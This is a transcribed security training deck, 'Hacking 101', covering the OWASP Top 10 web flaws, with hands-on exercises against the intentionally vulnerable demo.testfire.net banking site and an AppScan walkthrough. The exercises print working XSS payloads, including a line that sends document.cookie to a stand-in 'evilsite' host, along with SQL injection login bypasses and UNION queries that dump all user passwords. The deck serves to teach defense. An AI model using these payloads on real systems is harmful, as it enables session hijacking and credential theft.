T2 - Hacking 101 Armando Bioc

Transcription

T2 - Hacking 101Armando Bioc

Hacking 101:Understanding the Top Web Application Vulnerabilities andHow to Protect Against the Next Level of AttackArmandod BiociSecurity ConsultantIBM Software Group – Rational SoftwareAgenda Module 1: Security Landscape Module 2:– Top Attacks Overview– Demo of Manual Techniques Module 3: Workshop Exercises Module 4: Demo of Automated Techniques Module 5: An Enterprise Vision1

Module 1: Security LandscapeObjective1. Understand the web application environment2. Understand and differentiate betweennetwork and application level vulnerabilities3. Understand where the vulnerabilities exist2

Security1.2.3.4.5.6.7.8.Eight Principles of SecurityManagementCompliance ManagementRisk ManagementIdentity ManagementAuthorization ManagementAccountability ManagementAvailability ManagementConfiguration ManagementIncident ManagementSecurityHigh Level NetworkArchitecture3

Security Product LandscapeSecuritySecurity tPolicy &CompliancePatching t atchlinkShavlinkSt. SageNet IntelligenceVulnerability AssessmentHost BasedHost-BasedSymantecNetIQISSCAHarris STATSecurityNetworkTenable NessusISSQualyseEyeMcAfeeDatabase OnlyAppSec IncNGS te-BoxFortifyOunce LabsSecure SoftKlocworkBlack Box vs. White Box:Where?Application LogicUIfunction b64(sText)(){if (!sText) { sText ''; }if (typeof sText 'object') {sText String(sText);if (sText.match(/ \[(.*) \] /)) {sText 'unknown';}}UservarvarvarvarDBsOut '';chr1, chr2, chr3 '';enc1, enc2, enc3, enc4 '';i 0;var keyStr xyz0123456789 / ';FS}Infrastructure4

SecurityBlack Box vs. White Box:What?Application LogicUIfunction b64(sText)(){if (!sText) { sText ''; }if (typeof sText 'object') {sText String(sText);if (sText.match(/ \[(.*) \] /)) {sText 'unknown';}}UservarvarvarvarDBsOut '';chr1, chr2, chr3 '';enc1, enc2, enc3, enc4 '';i 0;FSvar keyStr xyz0123456789 / ';}InfrastructureHigh Level Web Application ArchitectureReviewCustomerApp isdeployedhereSensitivedata isstored hereInternetFirewallClient tion)App Server(BusinessLogic)Protects NetworkMiddle TierData Tier5

Network Defenses for WebApplicationsSecurityPerimeterIDSIPSApp reventionSystemApplicationFirewallSystem Incident Event Management (SIEM)Web Applications – Shared Traits Get input from user in different ways– Path,, Parameters,, Cookies,, Headers,, etc. Use back‐end servers– DB, LDAP/AD Server, etc. Use session tokens (cookie, parameter, path )– Session tokens may be persistent or not Hold public & private information– Sensitive info often past the login page6

Web Application Security:What Can Happen? Sensitive data leakage– Customer,C tpartnertor company ddatat Identity Theft– Hacker impersonating as trusted user Defacement – Content Modification– Hurts brand, misleads customers, etc. Application Shutdown (Site Unavailable)– Lack of access can cause major losesOpen Source & Manual Products ke HTTP Editors– [See above]– Mozilla Tamper Data– NetCat Fuzzers– SensePost Crowbar– JBroFuzz Database Exploit– Absinthe– SQL Power Injector General Exploit– Metasploit7

Where are the Vulnerabilities?Client-SideCustomWeb ServicesWeb ApplicationsThird-party ComponentsWeb Server ConfigurationWeb ServerDatabaseApplicationsOperating SystemNetworkWhere are the Vulnerabilities?NetworkBlackbox scannersthat evaluate allnetwork objectsfor patches andvulnerabilitiesClient-SideCustomWeb ServicesWeb ApplicationsThird-party ComponentsWeb Server ConfigurationWeb ServerDatabaseApplicationsOperating SystemNetwork8

Where are the Vulnerabilities?HostClient-SideAuthenticatedagents thatevaluate theunderlyingoperating systemCustomWeb ServicesWeb ApplicationsThird-party ComponentsWeb Server ConfigurationWeb ServerDatabaseApplicationsOperating SystemNetworkWhere are the Vulnerabilities?DatabaseEvaluate thedatabase formissing patches,poor configurationand vulnerabilitiesClient-SideCustomWeb ServicesWeb ApplicationsThird-party ComponentsWeb Server ConfigurationWeb ServerDatabaseApplicationsOperating SystemNetwork9

Where are the Vulnerabilities?App ScannersClient-SideScan the webapplication touncovervulnerabilitiesCustomWeb ServicesWeb ApplicationsThird-party ComponentsWeb Server ConfigurationWeb ServerDatabaseApplicationsOperating SystemNetworkWhere are the Vulnerabilities?Code ScanParse softwaresource code todetermine policyviolations andpoor practicesClient-SideCustomWeb ServicesWeb ApplicationsThird-party ComponentsWeb Server ConfigurationWeb ServerDatabaseApplicationsOperating SystemNetwork10

Where are the Vulnerabilities?Client-SideCustomWeb ServicesWeb ApplicationsThird-party ComponentsWeb Server ConfigurationWeb ServerDatabaseApplicationsOperating SystemNetworkModule 2:–Top Attacks Overview–Demo of Manual Techniques11

SecurityThe Myth: “Our Site Is Safe”We Have Firewallsin PlaceWe Audit It Once aQuarterQt withith PenPTestersT tW UseWeU NetworkN tkVulnerability ScannersSecurityWe Use SSLEncryptionSecurity and Spending Are UnbalancedSecuritySpending% of Attacks% of verof All Attacks on Information SecurityAre Directed to the Web Application Layerof All Web Applications Are VulnerableSources: Gartner, IBM, OWASP12

2006 Vulnerability Statisticssites)(31,373** http://www.webappsec.org/projects/statistics/What is a Web Application? – User’s interaction with Website– Transacting/interfacing withback-end data systems(databases, CRM, ERP etc)DataDatabaseBackend ApplicationFront end ApplicationUser Interface CodeWeb ServerThe business logic thatenables: In the form of:– 3rd party packaged software;i.e. web server, applicationserver, software packages etc.– Code developed in-house /web builder / systemintegratorUser InputHTML/HTTPBrowserInput and Output flow through each layer of the applicationA break in any layer breaks the whole application13

Infrastructure vs. Application SecurityIssuesInfrastructure VulnerabilitiesApplication SpecificVulnerabilitiesCause of DefectInsecure developmentpor deploymentp yof 3rd party SWInsecure developmentpof yyour ownapplicationsLocation ofVulnerability3rd party infrastructure (web server, OS,etc.)Application Code, often resides onApplication ServerMethod ofExploitsKnown vulnerabilities (0‐day), signaturebasedProbing hacks, suspicious content,information leakagegsystemyPatch ManagementApppp Securityy ScannersDetectionInternal/External Audits, Automated ScannersWhat to doUpdate patches, use trusted 3rd partysoftwareTraining & Scanners – across theDevelopment Life CycleWASC Web Application Security Consortium (WASC)Purpose:– To develop, adopt, and advocate standards for web applicationsecurity Official web site: www.webappsec.org Web Security Threat Classification /WASC‐TC‐v1 0.pdfPurpose:– Clarify and organize the threats to the security of a web site– Develop and promote industry standard terminology for these issues14

WASC – Threat Classifications(Web Application Security Consortium) www.webappsec.orgApplication ThreatAttack TypesAuthentication Brute Force Insufficient Authentication Weak Password Recovery ValidationAuthorization Client-side Attacks Content Spoofing Cross Site ScriptingCommand Execution Credential/Session PredictionInsufficient AuthorizationInsufficient Session ExpirationSession FixationExample Business ImpactAttacks that target a web site’s method ofvalidating the identity of a user, service orapplication.Attacks that target a web site’s method ofdetermining if a user, service or applicationhas the necessary permissions to perform arequested action.The abuse or exploitation of a web site’susers (breaching trust relationships betweena user and a web site).Attacks designed to execute remoteBuffer Overflowcommandscoa ds oon tthee webeb ssitete by manipulatinga pu at gFormat String Attackuser-suppliedinput fields.siteLDAP Injection Misdirect customers to bogusOS CommandingSQL InjectionChange parameters ie.total contribution 100%SSI InjectionXPath InjectionWASC – Threat Classifications(Web Application Security Consortium) www.webappsec.orgApplication ThreatAttack TypesExample Business ImpactInformation Disclosure Directory IndexingInformation LeakageP th TraversalPathTlPredictable Resource LocationAttacks designed to acquire system specificinformation about a web site. This includessoftware distributiondistribution, version numbersnumbers, patchlevels, and also secure file locations.Logical Attacks Abuse of FunctionalityDenial of ServiceInsufficient Anti-automationInsufficient Process ValidationThe abuse or exploitation of a web applicationlogic flow (password recovery, accountregistration, auction bidding and eCommercepurchasing are examples of application logic).15

OWASP Open Web Application Security ProjectPurpose:pDedicated to findingg and fightinggg the causes of insecuresoftware. Official web site: www.owasp.org The OWASP Top Ten projecthttp://www.owasp.org/index.php/OWASP Top Ten Project Purpose:– A broad consensus about what the most critical web application security flawsare– Raise awareness of web application security issues We will use the Top 10 list to cover some of the most commonsecurity issues in web applicationsThe OWASP Top 10 Application AttacksApplication ThreatCross Site scriptingNegative ImpactExample ImpactOWASP Top 10 Application AttacksIdentity Theft, Sensitive InformationLeakage, Hackers can impersonate legitimate users, and controltheir accounts.Injection FlawsAttacker can manipulate queries to the DB /LDAP / Other systemHackers can access backend database information, alter itor steal it.Malicious File ExecutionExecute shell commands on server, up to fullcontrollSite modified to transfer all interactions to the hacker.Insecure Direct Object ReferenceAttacker can access sensitive files andresourcesWeb application returns contents of sensitive file (insteadof harmless one)Cross-Site Request ForgeryAttacker can invoke “blind” actions on webapplications, impersonating as a trusted userBlind requests to bank account transfer money to hackerInformation Leakage andImproper Error HandlingAttackers can gain detailed systeminformationMalicious system reconnaissance may assist in developingfurther attacksBroken Authentication & SessionManagementSession tokens not guarded or invalidatedproperlyHacker can “force” session token on victim; sessiontokens can be stolen after logoutInsecure Cryptographic StorageWeak encryption techniques may lead tobroken encryptionConfidential information (SSN, Credit Cards) can bedecrypted by malicious usersInsecure CommunicationsSensitive info sent unencrypted overinsecure channelUnencrypted credentials “sniffed” and used by hacker toimpersonate userFailure to Restrict URL AccessHacker can access unauthorized resourcesHacker can forcefully browse and access a page past thelogin page16

1. Cross‐Site Scripting (XSS) What is it?–MMaliciousli iscripti t echoedh d backb k intoi t HTML returnedtdfrom a trusted site, and runs under trusted context What are the implications?– Session Tokens stolen (browser security circumvented)– Complete page content compromised– Future pages in browser compromisedXSS Example IHTML code:17

XSS Example IIHTML code:XSS – Details Common in Search, Error Pages and returned forms.– But can be found on any type of page Any input may be echoed back– Path, Query, Post‐data, Cookie, Header, etc. Browser technology used to aid attack– XMLHttpRequest (AJAX), Flash, IFrame Has many variations– XSS in attribute, DOM Based XSS, etc.18

Cross Site Scripting – The ExploitProcessEvil.org1) Link to bank.comsent to user viaE-mail or HTTP5) Evil.org uses stolensession information toimpersonate user4) Script sends user’scookie and sessioninformation without the user’sconsent or knowledgebank.comUser2) User sends script embedded as data3) Script/data returned, executed by browserExploiting XSS If I can get you to run my JavaScript, I can Steal your cookies for the domain you’reyou re browsingTrack every action you do in that browser from now onRedirect you to a Phishing siteCompletely modify the content of any page you see onthis domain– Exploit browser vulnerabilities to take over machine– –––– XSS is the Top Security Risk today (most exploited)19

Sticky/Embedded XSS (XSS Worms) Embedding malicious script in persistent location– “Talkback” section– Forum/Newsgroup Boosted with Web 2.0 trend– Customizable content– More user content (communities) XSS Can “Infest” more pages ‐ Worm– MySpace worm (Samy, October 2005)2. Injection Flaws What is it?– User‐suppliedUser supplied data is sent to an interpreter as part ofa command, query or data. What are the implications?– SQL Injection – Access/modify data in DB– SSI Injection – Execute commands on server andaccess sensitive data– LDAP Injection – Bypass authentication– 20

SQL Injection User input inserted into SQL Command:– Get product details by id:Select * from products where id ‘ REQUEST[“id”]’;– Hack: send param id with value ‘ or ‘1’ ‘1– Resulting executed SQL:Select * from products where id ‘’ or ‘1’ ‘1’– All pproducts returnedSQL Injection Example I21

SQL Injection Example IISQL Injection Example ‐ Exploit22

SQL Injection Example ‐ OutcomeInjection Flaws – More Info One SQL Injection compromises entire DB– Doesn’t matter if it’s a remote page Not limited to SQL Injection– LDAP, XPath, SSI, MX (Mail) – HTML Injectionj(Cross(Site Scripting)p g)– HTTP Injection (HTTP Response Splitting)23

Injection Flaws (SSI Injection Example)Creating commands from inputThe return is the private SSL key of the server24

3. Malicious File Execution What is it?– Application tricked into executing commands orcreating files on server What are the implications?– Command execution on server – complete takeover– Site Defacement, including XSS optionMalicious File Execution – Example I25

Malicious File Execution – Example cont.Malicious File Execution – Example cont.26

4. Insecure Direct Object Reference What is it?– Part or all of a resource (file, table, etc.) namecontrolled by user input. What are the implications?– Access to sensitive resources– Information Leakage, aids future hacksInsecure Direct Object Reference ‐ Example27

Insecure Direct Object Reference – ExampleCont.Insecure Direct Object Reference – ExampleCont.28

5. Cross Site Request Forgery(CSRF/XSRF) What is it?– Tricking a victim into sending an unwitting (oftenblind) request to another site, using the user’s sessionand/or network access. What are the implications?– Internal network compromised– User’s web‐based accounts exploitedXSRF Exploit Illustration4) Private mails accessed, possibly containingpasswordsBank.comWebMail3) MoneyTransferedWirelessRouter3) All mailsforwarded tohacker3) Router opened foroutside access4) MoneyWithdrawn2) Script (or link) isdownloaded andexecuted in browserVictimEvil.org1) User browsespage with maliciouscontent4) Firewalls surpassed, internal computers hacked29

XSRF vs. XSS XSS Exploits the trust a user gives a site– Cookies and data access to specificpdomain XSRF Exploits the trust a site gives a user– User “logged in” to site or has access to site (Intranet) XSRF may be delivered via XSS (or Sticky XSS) XSS may be auto‐exploited via XSRF– XSRF on one site exploit XSS on other – hands free6. Information Leakage andImproper Error Handling What is it?– Unneeded information made available via errors orother means. What are the implications?– Sensitive data exposed– Webb App internalsl andd llogic exposedd ((source code,dSQL syntax, exception call stacks, etc.)– Information aids in further hacks30

Information Leakage ‐ ExampleImproper Error Handling ‐ Example31

Information Leakage – DifferentUsername/Password Error7. Broken Authentication and SessionManagement What is it?– Session tokens aren’t guarded and invalidatedproperly What are the implications?– Session tokens can be planted by hacker in XSS/XSRFattack hence leakedattack,– Session tokens more easily available (valid longer, lessprotection) to be stolen in different ways32

Broken Authentication and SessionManagement ‐ Examples Unprotected Session Tokens– Session ID kept in Persistent Cookie– Not using http‐only value for cookies Sessions valid for too long– Session not invalidated after logout– Session timeout too long Session fixation possible– Session ID not replaced after login (hence can befixed)8. Insecure Cryptographic Storage What is it?– Weak or no cryptographic protection on sensitiveresources at rest– Lack of safeguards on keys What are the implications?– Session tokens can be predicted (due to weakweak, oftenhomegrown, algorithms)– Sensitive data available through DB access (internalhacker, SQL Injection, etc.)33

Insecure Cryptographic Storage: WeakSession Token Hacker samples session IDs and gets:1 2 4 6 7 10 11 151,2,4,6,7,10,11,15 Can you predict other valid sessions?(Hint: Other users may enter site and get sessionsduring the hacker’s sampling) Points to consider:– Doesn’t need to be that simple – Keys may be predictable (e.g. timestamp)9. Insecure Communication What is it?– Sensitive data sent over unencrypted channels What are the implications?– Data can be stolen or manipulated by Internal orExternal hacker34

Insecure Communication: Points toConsider Not only the login page is sensitive– Anything after it is too, and maybe more Internal Hackers are a threat– Encrypt internal communications as well Use strong encryption keys– See previous topic 10. Failure to Restrict URL Access What is it?– Resources that should only be available to authorizedusers can be accessed by forcefully browsing them What are the implications?– Sensitive information leaked/modified– Admin privileges made available to hacker35

Failure to Restrict URL Access ‐ Admin Userlogin/admin/admin.aspxSimple user logs in, forcefully browses toadmin page36

Failure to Restrict URL Access:Privilege Escalation Types Access given to completely restricted resources– Accessing files that shouldn’t be served (*.bak, “CopyOf”, *.inc, *.cs, ws ftp.log, etc.) Vertical Privilege Escalation– Unknown user accessing pages past login page– Simple user accessing admin pages Horizontal Privilege Escalation– User accessing other user’s pages– Example: Bank account user accessing another’sThe OWASP Top 10 Application AttacksApplication ThreatCross Site scriptingNegative ImpactExample ImpactOWASP Top 10 Application AttacksIdentity Theft, Sensitive InformationLeakage, Hackers can impersonate legitimate users, and controltheir accounts.Injection FlawsAttacker can manipulate queries to the DB /LDAP / Other systemHackers can access backend database information, alterit or steal it.Malicious File ExecutionExecute shell commands on server, up toffullll controllSite modified to transfer all interactions to the hacker.Insecure Direct ObjectReferenceAttacker can access sensitive files andresourcesWeb application returns contents of sensitive file (insteadof harmless one)Cross-Site Request ForgeryAttacker can invoke “blind” actions on webapplications, impersonating as a trusteduserBlind requests to bank account transfer money to hackerInformation Leakage andImproper Error HandlingAttackers can gain detailed systeminformationMalicious system reconnaissance may assist indeveloping further attacksBroken Authentication & SessionManagementSession tokens not guarded or invalidatedproperlyHacker can “force” session token on victim; sessiontokens can be stolen after logoutInsecure Cryptographic StorageWeak encryption techniques may lead tobroken encryptionConfidential information (SSN, Credit Cards) can bedecrypted by malicious usersInsecure CommunicationsSensitive info sent unencrypted overinsecure channelUnencrypted credentials “sniffed” and used by hacker toimpersonate userFailure to Restrict URL AccessHacker can access unauthorized resourcesHacker can forcefully browse and access a page past thelogin page37

Module 3: Workshop ExercisesObjectiveHacking 101: Understand reconnaissance and profiling1. Hands‐on: Find vulnerabilities and exploita)b)c)d)Failure to restrict URL access and information leakageCross site scripting (XSS)SQL InjectionAdvanceddd SQLSQ Injectionj i2. Understand the difference between a vulnerabilityand an exploit38

Profiling a web applicationReconnaissance and Profiling on serversWeb serversWeb server authenticationDatabase usageDatabase typeThird party componentsThird‐party onAuthorizationWeb based administrationUser contributed contentClient side validationPassword creationSession stateError handlingApplication logic39

How much did you find? Platform– .NET, JavaScript– IIS 5.0 – Anonymous web serverauthentication– Database in use– MS SQL? Access?– User managementconnections? Application––––––––Form based authenticationUser based authorizationYes /AdminNo social contribution areasNo password resetCookies (several)Custom error pagesCGI executionTask 1: Access the Administration section Step 1: Forceful browse to administration section– Does it exist?– The URL for the banking application is: http://demo.testfire.net/bank Whath mighth theh administrativedapplicationlbbe?– Is there a default page?– What might you name a login page? What was it for the banking application?– http://demo.testfire.net/bank/login.aspx Step 2: Ask some questions about the login page?––––Is there a username associated with the password?Is the password static?What might I use for a password?Where might I look for a password? Step 3: Exploit40

!!ActionNavigate to admin directory!! We learn Administration Section Exists!!ActionNavigate to login.aspx page!! We learn Common naming practices41

!!ActionView page source!! We learn The PASSWORDSolution – Forceful browsing Navigate to http://demo.testfire.net Try http://demo.testfire.net/administration– Fails Try http://demo.testfire.net/admin– Success– No default page Try http://demo.testfire.net/admin/logon.aspx////– Failure Try http://demo.testfire.net/admin/login.aspx– Success42

Solution – Information Leakage The administration section uses a single password TryT to guess theh passwordd– Password, password, password1, Password1– Admin, admin, Admin1, admin1– Altoro, Altoro, Altoro1, altoro1 View the page source Search for comments– SuccessTask 2: Steal the user cookie Step 1: Determine the best attack method– How do I force the client to run my commands?– What scripting language are almost all browsers able to execute? Step 2: Find the application vulnerability– Where might I be able to include content within an application?– What does the payload look like?– How do I access the client cookie? Step 3: Exploit– Discussion Topic How do I send this cookie from the victim to the attacker?43

!!ActionEnter search text!! We learn Content is echoed back to page!!ActionEnter javascript command!! We learn Output is not encoded44

!!ActionEnter JS command with cookie!! We learn The cookie is availableSolution – Cross site scripting (XSS) Navigate to http://demo.testfire.net Search for any query term– Output is reflected to the page Query: script alert(1) /script – Output is not encoded Query: script alert(document.cookie) /script – Cookie is available and can be stolen How would I exploit this?– Social engineering ‐ send URL of search query to victim– script document.write(' img src http://evilsite/' document.cookie); /script 45

Task 3: Login without credentials Step 1: Find the login page– Can you create an account?– Can you determine a valid username? Step 2: Can you cause an error?– What information do you learn when you cause anerror?– What database is this using?– What are techniques that you might use?– What characters terminate a SQL statement? Step 3: Exploit!!ActionUsername, no password!! We learn Uses client-side JS validation46

!!ActionEnter your name into the usernameand a single tick into the password!! We can guess that SQLQuery “SELECT Username FROM Users WHERE Username ‘” & strUsername & “’ AND Password ‘” & strPassword & “’”47

!!ActionEnter your name, a tick, double hyphen andwhatever password you want!! We learn Double hyphen is used for a comment, the resultis that every thing after the double hyphen isnow treated as a comment!!ActionEnter admin'-- and any password you want!! We learn Valid SQL statement loginSELECT Username FROM Users WHERE Username ‘jsmith’ AND Password ‘demo1234’SELECT Username FROM Users WHERE Username ‘admin’ OR 1 1 --’ AND Password ‘1’48

Solution – Profile the login page Navigate to http://demo.testfire.net/bank/login.aspx Enter sample username without password– Usage of client‐side JavaScript Enter sample username with password– No credential enumeration Enter sample username with single tick (') as password– SQL injection vulnerability– Verbose error messages– Column names of username and passwordSolution – SQL Injection Enter sample username with password of '‐‐– Double hyphen terminates a SQL statement Enter probable username (admin) with specialcharacters appended '‐‐– Successful exploitationpof SQLQ injectionj49

Task 4: Steal all the usernames andpasswords Step 1: Find a page that lists information– What page lists information?– Does the page accept user input in any way?– Think about how this information is pulled from the database? Step 2: Find the vulnerability– How do I manipulate the input to find a vulnerability?– What steps should I try to “breakbreak the system”system Step 3: Exploit– What steps are required to make this happen?!!ActionStart in current session!! We learn The admin has no bank accounts50

!!ActionEnter some date in the future!! We learn No user activity!!ActionSingle tick in form field!! We learn Vulnerable to SQL injectionColumn named userid51

!!ActionEnter username and password1/1/2010 union select 1 from users-!! We learn Requires four columns in query!!ActionEnter four columns in query1/1/2010 union select 1,1,1,1 from users-!! We learn SQL injection succeeds52

!!ActionEnter valid SQL command. We already know 3 columns (userid,username, password) and a table in the database!!!1/1/2010 union select userid,null,'username: ' username 'password:' password,null from users—!! We learn All the usernames and passwordsSolution – Find the vulnerability Use technique from the last task to login Find a page that lists information from the DB– http://demo.testfire.net/bank/transactions.aspx Enter a single tick (') in the first form field– Vulnerable to SQL injection– Verbose error messages– Column named userid (we already know aboutusername and password)53

Solution – Complex SQL Injection Query: 1/1/2010 union select 1 from users‐‐– Error message about matching columns– Learn that table users exists Query: 1/1/2010 union select 1,1,1,1 from users‐‐– Successful in executing query We already know 3 columns (userid, username, password)and a table in the database Query: 1/1/2010 union select userid,null,username '' password,null from users‐‐– Successful exploitationQuestions1. Understand reconnaissance and profiling2. Hands‐on: Find vulnerabilities and exploita)b)c)d))Forceful browsing and information leakageCross site scripting (XSS)SQL InjectionAdvanced SQL Injectionj3. Understand the difference between a vulnerabilityand an exploit54

Module 4: Automated TechniquesObjective1. Understand how automation can helpuncover vulnerabilitieslbiliti2. Demonstration of automated vulnerabilityassessment3. Understand the limitations of vulnerabilityassessment55

Welcome to AppScan Double click on IBM Rational’s AppScan Choose OpenPick a Template Choose Default under Predefined Templates56

Type of Scan Select the type of scan you wish to perform Select Web ApplicationppScan Click NextWhat to scan Select the scanned application Type http://demo.testfire.nethttp://demo testfire net Click Next 57

Login Choose Automatic login User name: jsmith Password: Demo1234 Click NextNote: you may want tochoose the record optionand follow the stepsWhat to testSelect the test policy Click on ‘Load’ Select ‘Application‐Only’ Click OK Click NextFor this exercise we will testjust for application levelvulnerabilities58

Start the scan Select ‘Start a full automatic scan’AppScan will performExplore and executeTestsView the results59

Module 5: An Enterprise VisionSolutionAsking the Wrong QuestionBusinessOwnerWhy isn’t theapp working?DeveloperWhat’s wrongwith the code?QA TestWhere are thethe bugs?SecurityAuditorWhat is our riskexposure?What are the root causes?60

Understanding the RootCausesSolutionSolution1Takes the focus off the symptoms2Eliminates over-reporting3Highlights pro-active security4Can help build education programs5CHASING VULNERABILITIES DOESN’T WORKOnline Risk Management for theEnterprisePeopleProcessTechnologygy61

PeopleThe People FactorSolutionProcessTechnology Repeatable, measurable education system– Eight principles of security– SixSi primaryith t classificationsthreatl ifi ti Resource library– Corporate policy– Best practices– Specific process with security artifacts Feedback Loop– Development, QA and Internal– Support and External MEASUREMENTPeopleTh

Hacking 101: Armand ido Bioc Security Consultant IBM Software Group -Rational Software Agenda Module 1: Security Landscape Module 2: - Top Attacks Overview - Demo of Manual Techniques Module 3: Workshop Exercises Module 4: Demo of Automated Techniques Module 5: An Enterprise Vision